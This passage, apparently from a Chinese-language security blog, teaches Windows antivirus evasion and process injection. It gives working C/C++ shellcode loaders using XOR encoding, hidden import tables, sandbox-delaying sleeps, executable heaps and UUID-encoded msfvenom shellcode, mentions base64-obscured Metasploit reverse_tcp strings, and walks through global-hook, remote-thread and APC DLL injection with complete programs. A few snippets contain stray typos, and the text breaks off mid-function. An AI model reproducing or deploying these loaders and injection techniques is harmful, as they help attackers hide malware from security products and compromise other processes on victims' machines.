        if (hModule == NULL) {
            delete[] bFileBuffer;
            return -1;
        }
        // 获取msg导出函数地址
        DllMain = (Module)MemoryGetProcAddress(hModule, "DllMain");
        // 运行msg函数
        DllMain(0, 0, 0);
        // 释放资源
        DWORD dwThread;
        HANDLE hThread = CreateThread(NULL, NULL, (LPTHREAD_START_ROUTINE)DllMain, NULL, NULL, &dwThread);
    
        WaitForSingleObject(hThread, INFINITE);
    
        MemoryFreeLibrary(hModule);
        // 释放PE内存
        delete[] bFileBuffer;
        return GetLastError();
    }
    

    注意 recv 的参数是实际生成的 payload 大小
    image-20220227121013159
    显然已经不是两年前的 0 查杀了
  • 导入地址表(IAT)免杀


    Import Address Table 由于导入函数就是被程序调用但其执行代码又不在程序中的函数,这些函数的代码位于一个或者多个 DLL 中,当 PE 文件被装入内存的时候,WIndows 装载器才将 DLL 装入,并将调用导入函数的指令和函数实际所处的地址联系起来(动态连接),这操作就需要导入表完成,其中导入地址表就指示函数实际地址。
    

    在 PE 结构中,存在一个导入表,声明了这个 PE 文件会载入哪些模块,同时每个模块的结构中又会指向模块中的一些函数名称。
    在反病毒的角度,导入表也可以作为一个文件的风险值评估方向。
    如果一个文件的文件大小在300KB以内,并且导入函数又有Virtual Alloc、CreateThread,且VirtualAlloc的最后一个参数是0x40(PAGE_EXECUTE_READWRITE),那么此文件是高危文件
    

    在攻击人员的角度,如果能在 PE 文件中抹去导入函数名称,就可以规避杀软的检测。
    比如可以不依赖导入表,而是手动获取函数地址,其中第一课用到的 API (VirtualAlloc -> VirtualProtect -> CreateThread -> WaitForSingleObject)都在 kernel32.dll 中导出,可以尝试定义他们的函数指针,然后利用 GetProcAddress 获取函数地址,调用自己的函数名称。
    #include <Windows.h>
    #include <intrin.h>
    #include <WinBase.h>
    #include <stdio.h>
    
    typedef LPVOID(WINAPI* ImportVirtualAlloc) (
        LPVOID lpAddress,
        SIZE_T dwSize,
        DWORD flAllocationType,
        DWORD flProtect
        );
    
    typedef HANDLE(WINAPI* ImportCreateThread) (
        LPSECURITY_ATTRIBUTES   lpThreadAttributes,
        SIZE_T                  dwStackSize,
        LPTHREAD_START_ROUTINE  lpStartAddress,
        __drv_aliasesMem LPVOID lpParameter,
        DWORD                   dwCreationFlags,
        LPDWORD                 lpThreadId
        );
    
    typedef BOOL(WINAPI* ImportVirtualProtect) (
        LPVOID lpAddress,
        SIZE_T dwSize,
        DWORD  flNewProtect,
        PDWORD lpflOldProtect
        );
    
    typedef DWORD(WINAPI* ImportWaitForSingleObject) (
        HANDLE hHandle,
        DWORD  dwMilliseconds
        );
    
    // 入口函数
    int wmain(int argc, TCHAR* argv[]) {
    
        ImportVirtualAlloc MyVirtualAlloc = (ImportVirtualAlloc)GetProcAddress(GetModuleHandle(TEXT("kernel32.dll")), "VirtualAlloc");
        ImportCreateThread MyCreateThread = (ImportCreateThread)GetProcAddress(GetModuleHandle(TEXT("kernel32.dll")), "CreateThread");
        ImportVirtualProtect MyVirtualProtect = (ImportVirtualProtect)GetProcAddress(GetModuleHandle(TEXT("kernel32.dll")), "VirtualProtect");
        ImportWaitForSingleObject MyWaitForSingleObject = (ImportWaitForSingleObject)GetProcAddress(GetModuleHandle(TEXT("kernel32.dll")), "WaitForSingleObject");
    
        int shellcode_size = 0; // shellcode 长度
        DWORD dwThreadId;   // 线程 ID
        HANDLE hThread;     // 线程句柄
        DWORD dwOldProtect;     // 内存页属性
    
        char buf[] = "your_shellcode";
        // 获取shellcode大小
        shellcode_size = sizeof(buf);
    
        /* 增加异或代码 */
        for (int i = 0; i < shellcode_size; i++) {
            //Sleep(50);
            _InterlockedXor8(buf + i, 10);
        }
    
        char* shellcode = (char*)MyVirtualAlloc(
            NULL,
            shellcode_size,
            MEM_COMMIT,
            PAGE_READWRITE  // 只申请可读写
        );
    
        // 将shellcode复制到可读可写的内存页中
        CopyMemory(shellcode, buf, shellcode_size);
    
        // 这里开始更改它的属性为可执行
        MyVirtualProtect(shellcode, shellcode_size, PAGE_EXECUTE, &dwOldProtect);
    
        // 等待几秒,兴许可以跳过某些沙盒呢?
        Sleep(2000);
    
        hThread = MyCreateThread(
            NULL, // 安全描述符
            NULL, // 栈的大小
            (LPTHREAD_START_ROUTINE)shellcode, // 函数
            NULL, // 参数
            NULL, // 线程标志
            &dwThreadId // 线程ID
        );
    
        MyWaitForSingleObject(hThread, INFINITE); // 一直等待线程执行结束
        return 0;
    }
    

    image-20220228201127946
    但是和前几种方式相比,但敏感函数/shellcode还是以硬编码的形式存在(.data 段)
    image-20220228201633838
  • 利用重载运算符解决硬编码问题


    在C++中,重载的运算符是带有特殊名称的函数,函数名是由关键字 operator 和其后要重载的运算符符号构成的。那么作为一个函数就必然会由返回类型和参数列表。
    具体实现在 https://github.com/Rvn0xsy/Cooolis-ms 中,这里只有简单的例子,假设一个功能函数定义如下:
    BOOL CCooolisMetasploit::SendPayload(std::string options, std::string payload)
    

    其中的 std::string payload 如果是传入的恶意代码,可能会被定位,那么如果在这之前可以传一个调用函数并进行一次解密
    metasploit->add_option(CooolisString("LXAsLS1wYXlsb2Fk"), msf_payload, CooolisString("UGF5bG9hZCBOYW1lLCBlLmcuIHdpbmRvd3MvbWV0ZXJwcmV0ZXIvcmV2ZXJzZV90Y3A="))->default_str(CooolisString("d2luZG93cy9tZXRlcnByZXRlci9yZXZlcnNlX3RjcA=="));
    

    加一个解码函数,然后在构造函数中去调用解码就能让程序在静态扫描的过程中无法捕捉特征字符串。
  • 绕过 DEP 保护


    DEP(Data Execution Prevention)即“ 数据执行保护”,在 Windows Xp SP2 的年代代码可以直接在堆栈中执行,但堆栈的用途主要是保存寄存器现场,提供一个函数运行时的存储空间,极少数需要代码在堆栈中执行,于是微软为了缓解类似的情况,发明了DEP保护机制,用于限制某些内存页不具有可执行权限。
    在之前的绕过过程中,如果不是直接申请一段可执行权限的内存,而是先申请一段只有读写权限的内存,再用 VirtualProtect 来修改权限,可以一定程度上绕过杀软检测。
    那么按照这个思路,我们可以通过其他方式(API)来构造一段可执行的内存页,然后把 shellcode 放进去执行。原作者找到的是 HeapCreate 这个 API,可以在进程中创建辅助堆栈,并且能够设置堆栈的属性:
    HANDLE WINAPI HeapCreate(
    __in DWORD flOptions,       // 用于修改如何再堆栈上运行执行的各种操作
    __in SIZE_T dwInitialSize,
    __in SIZE_T dwMaximumSize );
    

    • HEAP_NO_SERIALIZE:对堆的访问是非独占的,如果一个线程没有完成对堆的操作,其它线程也可以进程堆操作,这个开关是非常危险的,应尽量避免使用。
    • HEAP_GENERATE_EXCEPTIONS:当堆分配内存失败时,会抛出异常。如果不设置,则返回NULL。
    • HEAP_CREATE_ENALBE_EXECUTE:堆中存放的内容是可以执行的代码。如果不设置,意味着堆中存放的是不可执行的数据。(可以把 shellcode 存入到辅助堆栈中,然后创建一个线程运行它即可)

    为了测试 HeapCreate,不添加 shellcode
    #include <iostream>
    #include <Windows.h>
    
    int main()
    {
        char shellcode[] = "123";
    
        HANDLE hHep = HeapCreate(HEAP_CREATE_ENABLE_EXECUTE | HEAP_ZERO_MEMORY, 0, 0);
    
        PVOID Mptr = HeapAlloc(hHep, 0, sizeof(shellcode));
    
        RtlCopyMemory(Mptr, shellcode, sizeof(shellcode));
    
        DWORD dwThreadId = 0;
        HANDLE hThread = CreateThread(NULL, NULL, (LPTHREAD_START_ROUTINE)Mptr, NULL, NULL, &dwThreadId);
        WaitForSingleObject(hThread, INFINITE);
    
        std::cout << "Hello World!\n";
    }
    

    image-20220228220012501
    emmmmmmm 但在现在的查杀率也挺高的了。
  • UUID 免杀


    UUID(universally unique identifier,通用唯一标识符)是一个 128 位的用于在计算机系统中以识别信息的数目。在 Windows 中用 GUID 来标识唯一对象。
    也算是一种编码的方式,通过隐藏 shellcode 达成免杀。
    typedef struct _GUID {
      unsigned long  Data1; // 4字节
      unsigned short Data2; // 2字节
      unsigned short Data3; // 2字节
      unsigned char  Data4[8]; // 8字节
    } GUID;
    

    Windows 中于 UUID 中的 API
    // 将字符串 UUID 转换为 UUID 结构:
    RPC_STATUS UuidFromString(
      RPC_CSTR StringUuid,
      UUID     *Uuid
    );
    // 创建 UUID
    RPC_STATUS UuidCreate(
      UUID *Uuid
    );
    // 判断两个 UUID 是否相等
    int UuidEqual(
      UUID       *Uuid1,
      UUID       *Uuid2,
      RPC_STATUS *Status
    );
    

    用 msf 生成 Shellcode :
    ./msfvenom -p windows/exec CMD=calc.exe -b '\xfc\xe8' -f raw -o /tmp/shellcode.bin
    

    Bin2UUID 转换脚本:
    from uuid import UUID
    import os
    import sys
    
    # Usage: python3 binToUUIDs.py shellcode.bin [--print]
    
    print("""
      ____  _    _______    _    _ _    _ _____ _____       
     |  _ \(_)  |__   __|  | |  | | |  | |_   _|  __ \      
     | |_) |_ _ __ | | ___ | |  | | |  | | | | | |  | |___  
     |  _ <| | '_ \| |/ _ \| |  | | |  | | | | | |  | / __| 
     | |_) | | | | | | (_) | |__| | |__| |_| |_| |__| \__ \ 
     |____/|_|_| |_|_|\___/ \____/ \____/|_____|_____/|___/
    \n""")
    
    with open(sys.argv[1], "rb") as f:
        bin = f.read()
    
    if len(sys.argv) > 2 and sys.argv[2] == "--print":
        outputMapping = True
    else:
        outputMapping = False
    
    offset = 0
    
    print("Length of shellcode: {} bytes\n".format(len(bin)))
    
    out = ""
    
    while(offset < len(bin)):
        countOfBytesToConvert = len(bin[offset:])
        if countOfBytesToConvert < 16:
            ZerosToAdd = 16 - countOfBytesToConvert
            byteString = bin[offset:] + (b'\x00'* ZerosToAdd)
            uuid = UUID(bytes_le=byteString)
        else:
            byteString = bin[offset:offset+16]s
            uuid = UUID(bytes_le=byteString)
        offset+=16
    
        out += "\"{}\",\n".format(uuid)
        
        if outputMapping:
            print("{} -> {}".format(byteString, uuid))
    
    with open(sys.argv[1] + "UUIDs", "w") as f:
        f.write(out)
    
    print("Outputted to: {}".format(sys.argv[1] + "UUIDs"))
    

    把 shellcode 转化为 UUID
    python .\Bin2UUID.py .\shellcode.bin
    

    执行代码:
    #include <Windows.h>
    #include <rpc.h>
    #pragma comment(lib, "Rpcrt4.lib")
    
    const char * buf[] = {
    "395465bb-d96d-d9c6-7424-f45833c9b131",
    "03135831-1358-c083-61b6-cc9181b42f6a",
    "8fa6d951-d960-c4dd-d2e9-9689de82fb39",
    "4ed3e655-4dde-6002-dffe-76e363fdaac3",
    "02bece5a-339b-5632-743f-e147f1753ae3",
    "103a9b49-9a19-876b-12c5-ab29f77de231",
    "cabcbb14-37ee-1b3f-3fb7-ec62f04aeca3",
    "dd9bb536-4845-199c-3496-29ba9e5d8966",
    "ec4cb11f-7e13-aa1a-3781-cfc0430aee06",
    "82d548c2-0b8f-9274-75fd-89c4d6a22f8e",
    "cd5db7fa-4690-6bd3-d649-eb734622daf8",
    "2ae33509-c96e-77a9-c642-74e25b0f87d8",
    "e904369f-cd5f-9814-5a89-927016827677",
    "1452a385-3048-f53e-efb0-a50900000000",
    };
    
    int main(int argc, char* argv[]) {
    
        int dwNum = sizeof(buf) / sizeof(buf[0]);
    
        HANDLE hMemory = HeapCreate(HEAP_CREATE_ENABLE_EXECUTE | HEAP_ZERO_MEMORY, 0, 0);
        if (hMemory == NULL) {
            return -1;
        }
        PVOID pMemory = HeapAlloc(hMemory, 0, 1024);
    
        DWORD_PTR CodePtr = (DWORD_PTR)pMemory;
    
        for (size_t i = 0; i < dwNum; i++)
        {
            if (CodePtr == NULL) {
                break;
            }
            RPC_STATUS status = UuidFromStringA(RPC_CSTR(buf[i]), (UUID*)CodePtr);
            if (status != RPC_S_OK) {
                return -1;
            }
            CodePtr += 16;
        }
    
        if (pMemory == NULL) {
            return -1;
        }
        if (EnumSystemLanguageGroupsA((LANGUAGEGROUP_ENUMPROCA)pMemory, LGRPID_INSTALLED, NULL) == FALSE) {
            // 加载成功
            return 0;
        }
        return 0;
    }
    

    image-20220301171033987
     
  • 参考文献:


  • 实现原理


    是通过注入 dll(动态链接库)向一个正在运行的进程插入/注入代码的过程,当然除了 dll 也可以是其他形式(任何PE文件、shellcode / assembly等),dll 注入操作有其合法目的,像杀软动态检测进程的行为,就是通过 dll 注入实现的。
    注入流程 :
    image-20220324162320245
    1.附加到目标进程
    2.在目标进程内分配内存
    3.将 dll 路径或 dll 复制到目标内存中
    4.让进程执行 dll
    
  • 全局钩子注入


    windows 中的钩子就是一种拦截实践并采取行动的方式,钩子的实现原理是基于 windows 的消息机制,程序根据不同消息完成不同功能,而钩子就可以截获和监视系统中的这些消息,最常见钩子的就是 WH_KEYBOARD 和 WH_MOUSE,分别用来监控键盘和鼠标输入。
    局部钩子通常用于某个线程,而全局钩子通过 dll 文件实现。
    利用 SetWindowsHookEx 函数实现(将应用程序定义的钩子装到钩子链中)
    HHOOK WINAPI SetWindowsHookEx(
      _In_ int       idHook,    // 钩子类型
      _In_ HOOKPROC  lpfn,      // 回调函数地址
      _In_ HINSTANCE hMod,      // 实例句柄
      _In_ DWORD     dwThreadId // 线程 ID
    );
    

    执行成功则返回钩子的句柄,如果失败返回 NULL。
    当 SetWindowsHookEx 函数调用成功后,当某个进程生成这一类型的消息时,操作系统会判断这个进程是否被安装了钩子,如果安装了钩子,操作系统会将相关的 dl l文件强行注入到这个进程中并将该 dl l的锁计数器递增 1。然后再调用安装的钩子函数。
    实现的全局钩子可以用 WH_GETMESSAGE 消息,因为 WH_GETMESSAGE 类型的钩子会监视消息队列,windows 中的每个进程都会维护自己的消息队列(消息驱动的实现),那么就都会加载 WH_GETMESSAGE 类型的全局钩子DLL。
    被注入的 dll 的实现,首先是设置全局钩子
    BOOL SetHook()
    {
        g_Hook = ::SetWindowsHookEx(WH_GETMESSAGE, (HOOKPROC)GetMsgProc, g_hDllMoudle, 0);
        // GetMsgProc 是回调函数,在后续实现
        if (g_Hook == NULL)
        {
            return FALSE;
        }
    
        return TRUE;
    }
    

    GetMsgProc 中要用 CallNextHookEx 函数决定继续执行下一个钩子(第一个参数为钩子句柄)还是对当前钩子进行拦截(第一个参数为 0)
    LRESULT GetMsgProc(int code, WPARAM wParam, LPARAM lParam)
    {
        return ::CallNextHookEx(g_Hook, code, wParam, lParam);
    }
    

    然后还要设置取消钩子
    BOOL UnsetHook()
    {
        if (g_Hook)
        {
            ::UnhookWindowsHookEx(g_Hook);
        }
    }
    

    此外还要设置进程间通信,这里是通过共享内存实现的
    #pragma data_seg("mydata")
    HHOOK g_hHook = NULL;
    #pragma data_seg()
    #pragma comment(linker, "/SECTION:mydata,RWS")
    

    用 vs 新建一个 dll 项目,首先是 pch.h 文件,声明定义的都是裸函数,由我们自己平衡堆栈
    extern "C" _declspec(dllexport) int SetHook();
    extern "C" _declspec(dllexport) LRESULT GetMsgProc(int code, WPARAM wParam, LPARAM lParam);
    extern "C" _declspec(dllexport) BOOL UnsetHook();
    

    在 pch.cpp 中写入上面提到的函数,然后在 dllmain.cpp 中设置 DLL_PROCESS_ATTACH。
    // dllmain.cpp : 定义 DLL 应用程序的入口点。
    #include "pch.h"
    HMODULE g_hDllModule = NULL;
    
    BOOL APIENTRY DllMain( HMODULE hModule,
                           DWORD  ul_reason_for_call,
                           LPVOID lpReserved
                         )
    {
        switch (ul_reason_for_call)
        {
        case DLL_PROCESS_ATTACH: 
        {
            g_hDllModule = hModule;
            break;
        }
        case DLL_THREAD_ATTACH:
        case DLL_THREAD_DETACH:
        case DLL_PROCESS_DETACH:
            break;
        }
        return TRUE;
    }
    

    再创建一个用于被注入的进程,用 LoadLibraryW 加载 dll
    // GolbalInjectDLL.cpp : 此文件包含 "main" 函数。程序执行将在此处开始并结束。
    //
    
    #include <iostream>
    #include <Windows.h>
    
    int main()
    {
        typedef BOOL(*typedef_SetGlobalHook)();
        typedef BOOL(*typedef_UnsetGlobalHook)();
        HMODULE hDll = NULL;
        typedef_SetGlobalHook SetGlobalHook = NULL;
        typedef_UnsetGlobalHook UnsetGlobalHook = NULL;
        BOOL bRet = FALSE;
    
        do
        {
            hDll = ::LoadLibraryW(TEXT("F:\\vs_project\\DLLInjector\\DLLInjector\\Debug\\DLLInjector.dll"));
            if (NULL == hDll)
            {
                printf("LoadLibrary Error[%d]\n", ::GetLastError());
                break;
            }
    
            SetGlobalHook = (typedef_SetGlobalHook)::GetProcAddress(hDll, "SetHook");
            if (NULL == SetGlobalHook)
            {
                printf("GetProcAddress Error[%d]\n", ::GetLastError());
                break;
            }
            bRet = SetGlobalHook();
            if (bRet)
            {
                printf("SetGlobalHook OK.\n");
            }
            else
            {
                printf("SetGlobalHook ERROR.\n");
            }
    
            system("pause");
    
            UnsetGlobalHook = (typedef_UnsetGlobalHook)::GetProcAddress(hDll, "UnsetHook");
            if (NULL == UnsetGlobalHook)
            {
                printf("GetProcAddress Error[%d]\n", ::GetLastError());
                break;
            }
            UnsetGlobalHook();
            printf("UnsetGlobalHook OK.\n");
        } while (FALSE);
        system("pause");
        return 0;
    }
    

    在 GolbalInjectDLL 进程中看到了注入的 DLLInject.dll
    image-20220324185643570
    注意,32位的 dll 不能被注入到 64 位的进程中,同样,64 位的 dll 也不饿能被注入到 32 位进程中。
    这种方式的优点是注入简单,缺点就是只能针对 windows 消息进程 Hook 并注入 dll,而注入可能不是瞬发(基于注入时选择的消息类型),而且不能进行其他 api 的 Hook,如果想对其它的函数进行 Hook,你需要再在被注入的dll中添加用于 API Hook 的代码。
  • 远程线程注入


    测试用的 dll 文件
    // dllmain.cpp : 定义 DLL 应用程序的入口点。
    #include "pch.h"
    
    BOOL APIENTRY DllMain( HMODULE hModule,
                           DWORD  ul_reason_for_call,
                           LPVOID lpReserved
                         )
    
    {
        switch (ul_reason_for_call)
        {
        case DLL_PROCESS_ATTACH:
            MessageBox(NULL, L"success!", L"Congratulation", MB_OK);
        case DLL_THREAD_ATTACH:
            MessageBox(NULL, L"success!", L"Congratulation", MB_OK);
        case DLL_THREAD_DETACH:
        case DLL_PROCESS_DETACH:
            break;
        }
        return TRUE;
    }
    

    首先要得到与之进行交互的进程的句柄,可以通过 CreateToolhelp32Snapshot 拍摄进程快照获取 pid,再通过 Openprocess 连接到目标进程。
    // 通过进程快照获取PID
    DWORD _GetProcessPID(LPCTSTR lpProcessName)
    {
          DWORD Ret = 0;
          PROCESSENTRY32 p32;
    
          HANDLE lpSnapshot = ::CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
    
          if (lpSnapshot == INVALID_HANDLE_VALUE)
          {
              printf("获取进程快照失败,请重试! Error:%d", ::GetLastError());
    
              return Ret;
          }
    
          p32.dwSize = sizeof(PROCESSENTRY32);
          ::Process32First(lpSnapshot, &p32);
    
          do {
              if (!lstrcmp(p32.szExeFile, lpProcessName))
              {
                  Ret = p32.th32ProcessID;
                  break;
              }
          } while (::Process32Next(lpSnapshot, &p32));
    
          ::CloseHandle(lpSnapshot);
          return Ret;
    }
    

    用 OpenProcess 打开进程,
    hprocess = ::OpenProcess(PROCESS_ALL_ACCESS, FALSE, _Pid);
    

    其中 OpenProcess 的定义,第一个参数是设置访问权限,可参考 https://docs.microsoft.com/zh-cn/windows/win32/procthread/process-security-and-access-rights?redirectedfrom=MSDN
    HANDLE WINAPI OpenProcess(
      _In_ DWORD dwDesiredAccess,
      _In_ BOOL  bInheritHandle,
      _In_ DWORD dwProcessId    // pid
    );
    

    连接之后需要给 dll 路径分配内存,VirtualAllocEx 函数可以实现预留、提交或更改指定进程的虚拟地址空间内的内存区域的状态。该函数将其分配的内存初始化为零。(也可以通过 GetFullPathName 实现)
    pAllocMemory = ::VirtualAllocEx(hprocess, NULL, _Size, MEM_COMMIT, PAGE_READWRITE);
    

    函数定义:
    LPVOID WINAPI VirtualAllocEx(
      _In_     HANDLE hProcess,     // 申请内存所在的进程句柄
      _In_opt_ LPVOID lpAddress,    // 保留页面的内存地址,一般设置为 NULL 自动分配
      _In_     SIZE_T dwSize,       // 要分配的内存大小
      _In_     DWORD  flAllocationType, // 分配方式
      _In_     DWORD  flProtect     // 设置权限
    );
    

    然后调用 WriteProcessMemory 函数把 dll 写入内存
    Write = ::WriteProcessMemory(hprocess, pAllocMemory, DllName, _Size, NULL);
    

    其中 WriteProcessMemory 的定义
    BOOL WriteProcessMemory(
      HANDLE  hProcess,         //进程句柄
      LPVOID  lpBaseAddress,    //写入的内存首地址
      LPCVOID lpBuffer,         //要写数据的指针
      SIZE_T  nSize,            //x
      SIZE_T  *lpNumberOfBytesWritten
    );
    

    之后就是创建线程并等待执行结束,可以通过 CreateRemoteThread 实现,等待线程函数结束则通过 WaitForSingleObject(第二个参数设为 -1 一直等待)
    //在另一个进程中创建线程
    hThread = ::CreateRemoteThread(hprocess, NULL, 0, addr, pAllocMemory, 0, NULL);
    
    //等待线程函数结束,获得退出码
    WaitForSingleObject(hThread, -1);
    GetExitCodeThread(hThread, &DllAddr);
    

    完整的实现:
    // RemoteThreadInject.cpp : 此文件包含 "main" 函数。程序执行将在此处开始并结束。
    //
    
    #include <iostream>
    #include <windows.h>
    #include <TlHelp32.h>
    #include "tchar.h"
    char string_inject[] = "F:\\C++\\Inject\\Inject\\Debug\\Inject.dll";
    
    //通过进程快照获取PID
    DWORD _GetProcessPID(LPCTSTR lpProcessName)
    {
          DWORD Ret = 0;
          PROCESSENTRY32 p32;
    
          HANDLE lpSnapshot = ::CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
    
          if (lpSnapshot == INVALID_HANDLE_VALUE)
          {
              printf("获取进程快照失败,请重试! Error:%d", ::GetLastError());
    
              return Ret;
          }
    
          p32.dwSize = sizeof(PROCESSENTRY32);
          ::Process32First(lpSnapshot, &p32);
    
          do {
              if (!lstrcmp(p32.szExeFile, lpProcessName))
              {
                  Ret = p32.th32ProcessID;
                  break;
              }
          } while (::Process32Next(lpSnapshot, &p32));
    
          ::CloseHandle(lpSnapshot);
          return Ret;
    }
    
     //打开一个进程并为其创建一个线程
    DWORD _RemoteThreadInject(DWORD _Pid, LPCWSTR DllName)
    {
             //打开进程
             HANDLE hprocess;
             HANDLE hThread;
             DWORD _Size = 0;
             BOOL Write = 0;
             LPVOID pAllocMemory = NULL;
             DWORD DllAddr = 0;
             FARPROC pThread;
    
             hprocess = ::OpenProcess(PROCESS_ALL_ACCESS, FALSE, _Pid);
             //Size = sizeof(string_inject);
             _Size = (_tcslen(DllName) + 1) * sizeof(TCHAR);
    
             //远程申请空间
             pAllocMemory = ::VirtualAllocEx(hprocess, NULL, _Size, MEM_COMMIT, PAGE_READWRITE);
    
             if (pAllocMemory == NULL)
                 {
                     printf("VirtualAllocEx - Error!");
                     return FALSE;
                 }
    
             // 写入内存
             Write = ::WriteProcessMemory(hprocess, pAllocMemory, DllName, _Size, NULL);
    
             if (Write == FALSE)
                 {
                     printf("WriteProcessMemory - Error!");
                     return FALSE;
                 }
    
    
             //获取LoadLibrary的地址
             pThread = ::GetProcAddress(::GetModuleHandle(L"kernel32.dll"), "LoadLibraryW");
             LPTHREAD_START_ROUTINE addr = (LPTHREAD_START_ROUTINE)pThread;
    
             //在另一个进程中创建线程
             hThread = ::CreateRemoteThread(hprocess, NULL, 0, addr, pAllocMemory, 0, NULL);
    
             if (hThread == NULL)
                 {
                     printf("CreateRemoteThread - Error!");
                     return FALSE;1
                 }
    
             //等待线程函数结束,获得退出码
             WaitForSingleObject(hThread, -1);
             GetExitCodeThread(hThread, &DllAddr);
    
             //释放DLL空间
             VirtualFreeEx(hprocess, pAllocMemory, _Size, MEM_DECOMMIT);
    
             //关闭线程句柄
             ::CloseHandle(hprocess);
             return TRUE;
    }
     int main()
    {
         DWORD PID = _GetProcessPID(L"test.exe");
         _RemoteThreadInject(PID, L"F:\\C++\\Inject\\Inject\\Debug\\Inject.dll");
    }
    

    image-20220405175005943
    远程线程注入的实现除了使用 CreateRemoteThread 函数实现,还可以用 NtCreateThreadEx / RtlCreateUserThread 实现,NtCreateThreadEx 详情参阅 https://securityxploded.com/ntcreatethreadex.php,而 RtlCreateUserThread 则可以看作对 NtCreateThreadEx 的封装,在 mimikatz 和 meterpreter 中都使用了这个 api。
  • APC 注入


    Asynchronous Procedure Call,即异步过程调用。当往线程的 APC 队列添加 APC 的时候,系统会产生一个软中断,在线程下一次被调度的时候,就会执行 APC 函数。
    实现流程:
    1.当 EXE 里某个线程执行到 SleepEx() 或者 WaitForSingleObjectEx() 时,系统就会产生一个软中断(或者是 Messagebox 弹窗的时候不点 OK 的时候也能注入)
    2.当线程再次被唤醒时,此线程会首先执行APC队列中的被注册的函数
    3.利用QueueUserAPC()这个API可以在软中断时向线程的APC队列插入一个函数指针,如果我们插入的是Loadlibrary()执行函数的话,就能达到注入DLL的目的。
    

    限制条件:
    1.必须是多线程环境
    2.注入的程序会调用那些同步的对象
    

    有这两个限制的原因也很简单,APC 队列中函数的调用需要一个线程从挂起状态到可通知状态才会执行,所以需要 SleepEx 这类函数先实现线程的挂起,但单线程程序一般不存在挂起状态,所以 APC 注入对单线程程序就没有明显的效果。
    其实。本质上还是远程线程注入,但是不需要创建新的线程,而是直接劫持目标进程中的现有线程。也就是说,调用此函数将在指定的线程上对异步过程调用进行排队。
    实现的时候,首先要根据进程名获取 pid 函数,然后再根据这个 pid 获取所有线程的 id
    hThreadSnap = CreateToolhelp32Snapshot(TH32CS_SNAPTHREAD, th32ProcessID);
    
    while (bRet)
        {
            if (th32.th32OwnerProcessID == th32ProcessID)
            {
                if (dwThreadIdListLength >= dwThreadIdListMaxCount)
                {
                    break;
                }
                pThreadIdList[dwThreadIdListLength++] = th32.th32ThreadID;
            }
            bRet = Thread32Next(hThreadSnap, &th32);
        }
    

    APCInject 的注入过程同样也遵循前面线程注入的流程,不同的操作就是需要遍历线程并插入 APC,如果 QueueUserAPC 返回的值为 NULL 则线程遍历失败,fail 的值就 +1
    for (int i = dwThreadIdListLength - 1; i >= 0; i--)
        {
            // 打开线程
            HANDLE hThread = ::OpenThread(THREAD_ALL_ACCESS, FALSE, pThreadIdList[i]);
            if (hThread)
            {
                // 插入APC
                if (!::QueueUserAPC((PAPCFUNC)loadLibraryAddress, hThread, (ULONG_PTR)lpAddr))
                {
                    fail++;
                }
            }
        }
    

    完整实现:
    #include <iostream>
    #include <Windows.h>
    #include <TlHelp32.h>
    using namespace std;
    
    void ShowError(const char* pszText)
    {
        char szError[MAX_PATH] = { 0 };
        ::wsprintfA(szError, "%s Error[%d]\n", pszText, ::GetLastError());
        ::MessageBoxA(NULL, szError, "ERROR", MB_OK);
    }
    
    //列出指定进程的所有线程
    BOOL GetProcessThreadList(DWORD th32ProcessID, DWORD** ppThreadIdList, LPDWORD pThreadIdListLength)
    {
        // 申请空间
        DWORD dwThreadIdListLength = 0;
        DWORD dwThreadIdListMaxCount = 2000;
        LPDWORD pThreadIdList = NULL;
        HANDLE hThreadSnap = INVALID_HANDLE_VALUE;
    
        pThreadIdList = (LPDWORD)VirtualAlloc(NULL, dwThreadIdListMaxCount * sizeof(DWORD), MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
        if (pThreadIdList == NULL)
        {
            return FALSE;
        }
    
        RtlZeroMemory(pThreadIdList, dwThreadIdListMaxCount * sizeof(DWORD));
    
        THREADENTRY32 th32 = { 0 };
    
        // 拍摄快照
        hThreadSnap = CreateToolhelp32Snapshot(TH32CS_SNAPTHREAD, th32ProcessID);
    
        if (hThreadSnap == INVALID_HANDLE_VALUE)
        {
            return FALSE;
        }
    
        // 结构的大小
        th32.dwSize = sizeof(THREADENTRY32);
    
        //遍历所有THREADENTRY32结构, 按顺序填入数组
    
        BOOL bRet = Thread32First(hThreadSnap, &th32);
        while (bRet)
        {
            if (th32.th32OwnerProcessID == th32ProcessID)
            {
                if (dwThreadIdListLength >= dwThreadIdListMaxCount)
                {
                    break;
                }
                pThreadIdList[dwThreadIdListLength++] = th32.th32ThreadID;
            }
            bRet = Thread32Next(hThreadSnap, &th32);
        }
    
        *pThreadIdListLength = dwThreadIdListLength;
        *ppThreadIdList = pThreadIdList;
    
        return TRUE;
    }
    BOOL APCInject(HANDLE hProcess, CHAR* wzDllFullPath, LPDWORD pThreadIdList, DWORD dwThreadIdListLength)
    {
        // 申请内存
    
        PVOID lpAddr = NULL;
        SIZE_T page_size = 4096;
    
        lpAddr = ::VirtualAllocEx(hProcess, nullptr, page_size, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
    
        if (lpAddr == NULL)
        {
            ShowError("VirtualAllocEx - Error\n\n");
            VirtualFreeEx(hProcess, lpAddr, page_size, MEM_DECOMMIT);
            CloseHandle(hProcess);
            return FALSE;
        }
        // 把Dll的路径复制到内存中
        if (FALSE == ::WriteProcessMemory(hProcess, lpAddr, wzDllFullPath, (strlen(wzDllFullPath) + 1) * sizeof(wzDllFullPath), nullptr))
        {
            ShowError("WriteProcessMemory - Error\n\n");
            VirtualFreeEx(hProcess, lpAddr, page_size, MEM_DECOMMIT);
            CloseHandle(hProcess);
            return FALSE;
        }
    
        // 获得LoadLibraryA的地址
        PVOID loadLibraryAddress = ::GetProcAddress(::GetModuleHandleA("kernel32.dll"), "LoadLibraryA");
    
        // 遍历线程, 插入APC
        float fail = 0;
        for (int i = dwThreadIdListLength - 1; i >= 0; i--)
        {
            // 打开线程
            HANDLE hThread = ::OpenThread(THREAD_ALL_ACCESS, FALSE, pThreadIdList[i]);
            if (hThread)
            {
                // 插入APC
                if (!::QueueUserAPC((PAPCFUNC)loadLibraryAddress, hThread, (ULONG_PTR)lpAddr))
                {
                    fail++;
                }
                // 关闭线程句柄
                ::CloseHandle(hThread);
                hThread = NULL;
            }
        }
    
        printf("Total Thread: %d\n", dwThreadIdListLength);
        printf("Total Failed: %d\n", (int)fail);
    
        if ((int)fail == 0 || dwThreadIdListLength / fail > 0.5)
        {
